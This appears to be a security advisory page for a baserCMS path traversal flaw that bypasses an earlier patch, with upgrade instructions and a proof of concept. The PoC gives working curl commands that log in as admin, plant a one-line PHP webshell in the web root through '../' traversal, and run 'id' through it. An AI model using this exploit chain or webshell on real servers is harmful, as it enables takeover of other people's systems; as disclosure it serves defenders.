CVE-2026-62955: baserCMS: Path Traversal Bypass via realpath() in BcThemeFileService (CVE-2026-30940 Patch Bypass)

High CVSS 7.2

OSV id
GHSA-2pj4-v76f-wjvx
Also known as
CVE-2026-62955
Published
Last modified

Affected packages

PackageAffected versionsFixed in
baserproject/baser-core
Packagist
< 5.3.0 5.3.0

How to fix it

Upgrade baserproject/baser-core to 5.3.0 or later.

composer update baserproject/baser-core
# if composer.json blocks it: composer require "baserproject/baser-core:^5.3.0"
  • If it is an indirect dependency, `composer update` the package that requires it, with dependencies.
  • Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.

Not sure whether your project uses an affected version? Check your lockfile below for free.

Details

Summary

The security patch introduced in baserCMS 5.2.3 to address CVE-2026-30940 / GHSA-c5c6-37vq-pjcq is incomplete. The patch added a realpath()-based directory traversal check in BcThemeFileService::getFullpath(), but the check is entirely skipped when realpath($baseDir) returns false — which occurs whenever the target subdirectory does not physically exist on disk.

An authenticated administrator can bypass the patch by supplying a type value (e.g., js) that maps to a non-existent directory in the theme. The absence of the directory causes realpath() to return false, the validation block is skipped, and the raw path parameter containing ../ sequences is returned unvalidated. This enables arbitrary file write and remote code execution (RCE) — the exact same impact as the original CVE.

This vulnerability was verified exploitable on baserCMS 5.2.3 (the "patched" version of CVE-2026-30940).

Details

The vulnerability exists in BcThemeFileService::getFullpath() at plugins/bc-theme-file/src/Service/BcThemeFileService.php lines 70–82:

public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
    // ...build $baseDir and $fullPath from $theme, $type, $path...
    $baseDir  = $viewPath . $type . DS;      // e.g. .../BcThemeSample/webroot/js/
    $fullPath = $baseDir  . $path;           // e.g. .../webroot/js/../../../../webroot/

    $resolvedBase = realpath($baseDir);
    if ($resolvedBase !== false) {           // ← BYPASS: entire block skipped when dir absent
        $resolvedBase = rtrim($resolvedBase, DS) . DS;
        $targetDir = realpath(dirname($fullPath));
        if ($targetDir === false) {
            $targetDir = $this->normalizePath(dirname($fullPath));
        }
        if (!str_starts_with(rtrim($targetDir, DS) . DS, $resolvedBase)) {
            throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
        }
    }

    return $fullPath;   // ← Returns unvalidated path when realpath returns false
}

Root cause — the bypass condition:

realpath($baseDir) result Behavior
Valid path string (dir exists) Validation runs → ../ traversal blocked ✓
false (dir does not exist) Validation skipped entirely → ../ traversal allowed ✗

Difference from CVE-2026-30940 (original bug):

CVE-2026-30940 (≤ 5.2.2) This bypass (5.2.3)
Validation None at all realpath() check — but conditional
type needed Any valid type (layout, cell, …) Must map to a non-existent subdirectory
path blocked Never Only when target dir already exists
Root cause Missing validation if ($resolvedBase !== false) skips false case
PoC

Prerequisites:

  • baserCMS 5.2.3 (the officially patched version of CVE-2026-30940)
  • Admin credentials
  • USE_CORE_ADMIN_API=true in .env
  • BcThemeFile plugin installed and BcThemeSample theme loaded

Step 1 — Login and obtain JWT token:

curl -s -X POST "http://localhost/baser/api/admin/baser-core/users/login.json" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"password"}'
# Response: {"access_token":"eyJ0eXA...","refresh_token":"eyJ0eXA..."}

Step 2 — Verify bypass condition (webroot/js/ must not exist):

The bypass requires type=js to map to a non-existent directory. Confirm:

# webroot/js/ does NOT exist → realpath() returns false → validation SKIPPED
ls plugins/BcThemeSample/webroot/
# Expected output: css  img   (no js/)

Step 3 — Exploit: write PHP webshell directly to webroot:

Path calculation from baseDir = .../BcThemeSample/webroot/js/:

  • js/ (1 up) → webroot/
  • webroot/ (2 up) → BcThemeSample/
  • BcThemeSample/ (3 up) → plugins/
  • plugins/ (4 up) → /var/www/html/ + webroot/
  • Result: ../../../../webroot/ → /var/www/html/webroot/
TOKEN="eyJ0eXA..."   # from step 1

curl -s -X POST "http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "theme":    "BcThemeSample",
    "plugin":   "",
    "type":     "js",
    "path":     "../../../../webroot/",
    "base_name":"rce_direct",
    "ext":      "php",
    "contents": "<?php echo shell_exec($_GET[\"c\"]); ?>"
  }'
# Response: HTTP 200 {"message":"ファイル「rce_direct.php」を作成しました。",...}

Step 4 — Execute RCE:

curl "http://localhost/rce_direct.php?c=id"
# Output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)

Verified output (Docker, baserCMS 5.2.3):

=RCE_DIRECT=uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
Impac

References

Am I affected?

Upload or paste your lockfile. We check every package version in it against OSV.dev, this advisory included, and email you the vulnerable ones with the version that fixes them. Free, and no account needed.

or paste its content

Needed when you paste. package.json and pyproject.toml only have version ranges: use the lockfile next to them.

Only package names and versions are checked; the file itself is not kept. We use your email to send this report and nothing else unless you tick the box above. Privacy policy.

About this data

Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.